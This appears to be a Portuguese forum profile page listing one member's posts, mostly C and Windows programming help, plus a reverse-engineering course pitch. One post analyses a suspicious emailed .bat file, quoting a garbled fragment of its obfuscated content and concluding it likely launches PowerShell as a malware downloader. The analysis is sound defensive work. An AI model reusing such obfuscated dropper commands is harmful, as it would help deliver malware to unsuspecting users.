Ir ao conteúdo
  • Cadastre-se

Fernando Mercês

Membros Plenos
  • Total de itens

    2.675
  • Registro em

  • Última visita

  • Qualificações

    0%

Reputação

166

Informações gerais

  • Cidade e Estado
    São Paulo/SP
  • Sexo
    Masculino
  1. Tá bem legal, cara. Parabéns! Já tá bem menor né? Quer parar por aí? Porque eu tenho mais sugestões! haha Como você tá inicializando o array, não precisa dizer quantos elementos ele terá. O compilador calcula pra você, mas você vai ter que usar a notação de ponteiro junto, ficando *mes_por_extenso[]. Se você reparar, o mes-1 bate com a posição da string certa no array então você não precisa do loop. Se você fizer mes_por_extenso[mes - 1] já vai funcionar sempre, percebe? Se o mês é Março (3), por exemplo, vai pegar a posição 2 do array (mes - 1), sem precisar do laço. Dá pra fazer tudo na main(). O retorno da main() é interessante que seja int. Aí você põe um return 0 no fim dela. Você não precisa mais da string.h nem da stdlib.h. Você não precisa mais dessa char data[11] também, porque agora já tá lendo direto para os inteiros com a scanf(). Como int é o tipo padrão do C, você não precisa informá-lo ao declarar uma unsigned. Dá pra declarar todas com uma só linha também: unsigned dia, mes, ano; Enfim, seu código tá muito legal. Só tô seguindo com as sugestões porque to admitindo que você tá curtindo implementar. Não encare como crítica, ok? Em programação existem infinitos jeitos de se resolver um problema e não tem essa de certo e errado a meu ver. Grande abraço!
  2. Relaxa. O assunto é extenso à beça hehe. Por que você não faz o seguinte: quando terminar e funcionar do seu jeito, avisa e volta aqui. Aí a gente discute alguns jeitos de melhorar, pra aprendermos ainda mais.
  3. Verdade. E ó, olhando bem esse programa dá pra ser muito pequeno. hehe Acho importante você seguir com sua linha de raciocínio, mas depois que terminar, vale observar essas sugestões minhas e do @isrnick. Tenho mais algumas ó: Usar unsgined int ao invés de int, já que todos esses inteiros aí não podem ser menor que 0 (dia, mês, ano). Isso vai requerer o modificador %u ao invés do %d. Criar um array de strings para os meses e depois exibir diretamente o mês correto usando array[mes - 1]. Teu código vai ficar bem mais limpo, rápido e você vai economizar 12 if's/switch's. Adicionar um tratamento de erro para dia/mês inválido. Abraço!
  4. Em tempo, você pode usar o %d pra ler direto um inteiro usando a scanf(), assim você não precisa ficar convertendo de string: #include <stdio.h> int main(int argc, char *argv[]) { int dia, mes, ano; scanf("%d-%d-%d", &dia, &mes, &ano); printf("dia: %d\nmes: %d\nano: %d\n", dia, mes, ano); return 0; } Veja: $ ./data 17-05-2018 dia: 17 mes: 5 ano: 2018 Valeu!
  5. A printf() tá dentro do bloco do switch. Só tirar. Abraço!
  6. De fato, nenhuma extensão "é vírus" por si só, mas este arquivo está bem estranho e acho que ele perdeu a formatação quando você colou seu conteúdo aqui no fórum. De repente se você editar e usar um bloco de código (botão <>) vai melhorar. Ou você poderia comprimir este arquivo com uma senha e anexar aqui (mas não sei se o fórum ou suas regras permitem). Bem, eu fui ajustando o arquivo aqui e realmente ele tenta executar algo: C:\Windows\System32>Set data= ZPC(" 7Pl(a Pn-WO TIXm aPm.Q IOrsZ Ia ). 4nas 4f 1 GZUq( 'p 1:// hzg.I hZ4qI .r4g/ ?hghZ dHM8S AS 7 ThEWp DOJni 7o s qB KS drIk6 Lma9z wxsjO ahikQ 1nvb0 4V x7 MHI6N Td/ n gpXr kPi4q TDz7+ MOr+/ NrmtL A3 kSJ Tl K zQ='; )"); echo %data% | nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI -a4 - QZa k 'nZah4Q1t4QIDEpIzz\dk.j\' is not recognized as an internal or external command, operable program or batch file. Parece ter algum bug, ou eu não descobri ainda como desofuscar totalmente. Somando essa clara intenção de ocultar o que o script faz com o fato de receber um .bat anexo num e-mail, eu diria que não é confiável e tem grandes chances de ser vírus mesmo. UPDATE: Pelo padrão depois do pipe (|), deduzi que este .bat chama o PowerShell e parece que eu estava certo. A string nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI parece ser decodificada para WindowsPowerShell\v1.0\PowerShell.exe, que tá embaixo da %SystemRoot%\System32, o que bate com o primeiro comando deste .bat. Ou seja, este .bat de fato chama o PowerShell, provavelmente para baixar um malware (ainda tem o padrão parecido com uma URL em 1://), o que me faz pensar que este .bat é um dropper/downloader. Se você tiver o arquivo intacto do jeito que recebeu posso tentar ajudar mais. Abraço.
  7. Pode ser muita coisa: uma máquina na rede escaneando os hosts, um cliente P2P na rede disparando pacote pra todo lado, etc. Nenhum desses eventos consiste de fato em tentativas de invasão. Tá mais pra scanning ou negação de serviço mesmo. Você pode procurar o administrador da rede e passar esses endereços IP e MAC pra ele, assim essa origem pode ser verificada. Em tempo, o tal "smart ARP" não é padrão. Isso deve ser um jeito que a Panda chama quando você recebe uma requisição ARP que tem seu IP como origem e destino. Seu host então responde pra si mesmo e em teoria isso poderia fazer o seu host travar (eu nunca vi, mas enfim). Já o flood é simplesmente enviar vários pacotes UDP para seu host (com endereços IP de origem aleatórios em geral), que responde todos e pode também travar. De novo, isso tudo é muito antigo e manjado. Nunca fiz testes, mas me espantaria se o próprio firewall do Windows não defendesse disso. Sério, é coisa que funcionava no Windows 95 e, vindo de um host só como atacante, em geral não dá nada. Abraços, Fernando
  8. A função isdigit() tá no header ctypes.h e não em stdlib.h, logo, segundo o enunciado do seu exercício você não pode usar. Parece que parte do que seu professor está pedindo, é justamente implementar uma função análoga, não usar uma pronta. Pelo menos é o que faz sentido pra mim, já que isso é um exercício. Você vai precisar entender a tabela ASCII pra fazer isso, creio. Abraços, Fernando
  9. Eu não diria isso. Há uma deficiência no mercado e na academia em relação à código seguro. Em muitas faculdades se aprende a criar sistemas, o que é uma aplicação de programação, que nem sempre é muito explorada. Programação segura então, menos ainda. O seu sistema reflete o nível dos criadores de sistemas que formamos todos os anos nas faculdades. Para suprir essa demanda há várias empresas que prestam consultoria em SDL (Secure Development Lifecycle) e código seguro, incluindo treinamentos. O mais legal em minha humilde opinião é envolver seus programadores com este conteúdo, formar sua equipe e assim melhorar sua segurança. Abraços, Fernando
  10. Boa tarde, pessoal. Como sei que vocês fazem análise de malware aqui (já troquei altas ideias com o @diego_moicano sobre) então achei que seria legal compartilhar que estamos fazendo um crowdfunding, ou seja, todo mundo ajuda um pouquinho e o curso é entregue, para um curso de Engenharia Reversa em x86 no YouTube. No contexto de malware, a ER é usada quando na sua análise o bichinho "não faz nada" e também para descobrir strings encodadas e triggers que só são executadas depois que o malware checa o ambiente. Eu fiz um vídeo explicando o projeto: Pra entrar no crowdfunding tem mais informações em http://menteb.in/apoie Um exemplo de como seria o curso é o curso Programação Moderna em C, que disponibilizei da mesma forma no YouTube (só que este foi um "crowdfunding" de views pra crescer o canal). Eu penso que com conhecimento de ER a gente consegue elevar o nível de análise de malware à excelência, mas claro, tô aberto à sugestões. Grande abraço, Fernando
  11. Tamo junto! Eu acho que a mensagem LB_ADDSTRING só deixa adicionar um item mesmo (que acaba na quebra de linha). Acho que você vai ter que chamá-la várias vezes. Por isso falei da fgets(), que você chama várias vezes também, aí lê linha por linha e já fica pronto pra passar pra SendMessage(). Ou fscanf()? Pra ser honesto, não sei qual a melhor solução pro seu caso. Cada item vai estar numa linha? Em qual formato? Sorry, eu raramente trabalho com arquivos de texto.
  12. É que abrir é diferente de ler. Até agora, pelo que vi no seu código você só abre os arquivos, não lê seu conteúdo. Pra ler tem que usar ReadFile() ou fread(). Por exemplo, se você fizer assim, vai funcionar: case IDC_BUTTON_LIST: { estoque = fopen ("estoque.txt","r"); char buff[255]; fread(buff, 1, 255, estoque); SendMessage(gProductList, LB_ADDSTRING, 0, (LPARAM)buff); fclose(estoque); } break; Só que isso não tá bom, nem certo. rs O lance é que ler linhas em C é chato mesmo. Acho que mais coerente seria usar a fgets() e você tem que saber o tamanho máximo da linha, de qualquer forma. Mas eu ainda acho que a API do Windows pura poderia fazer tudo. Bem, tu que sabe... Abraço!
  13. Não entendi. As cores serão items dentro do ListBox? É só escrever em Português, não? Agora, pra fazer funcionar é outra história... Vai ter que adicionar código no evento SelectedIndexChanged do ListBox. Abraços!
  14. Seguindo a lógica que você seguiu, teria que usar a fread() antes de fechar o arquivo com a fclose(). No entanto, tem conceitos misturados aí. Você tá usando as funções da API do Windows e misturando com as da biblioteca C padrão (fopen(), fread(), fclose(), etc). Seria mais legal usar as do Windows mesmo (CreateFile(), ReadFile(), WriteFile(), CloseFile(), etc), mas claro, nada impede de você seguir na sua lógica. Aqui tem um exemplo usando as funções do Windows: Opening a File for Reading or Writing, mas vê aí que a gente se ajuda por aqui. Abraços!
  15. Acho que o problema é que o @rogério dos santos araujo matou a antiga main() do programa quando colocou o código dele e agora ela termina sem o programa chamar as outras funções. Eu não sei como é a main() original, mas aparentemente algo assim resolveria: int main(int argc, char *argv[] { FILE *fp = fopen("C:\\arcade\\arcade1.exe", "rb"); if (fp == NULL) { printf("Game over\nTry again\n"); exit(1); // o melhor é sair com 1 neste caso, pois é erro... } fclose(fp); return os_main(argc, argv); } Se não rolar, posta o código original aqui. Se puder usar o https://pastebin.com melhor ainda, pois é bem grande pra ver no espaço deste tópico (tem highlight de C lá!). Abraço!

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×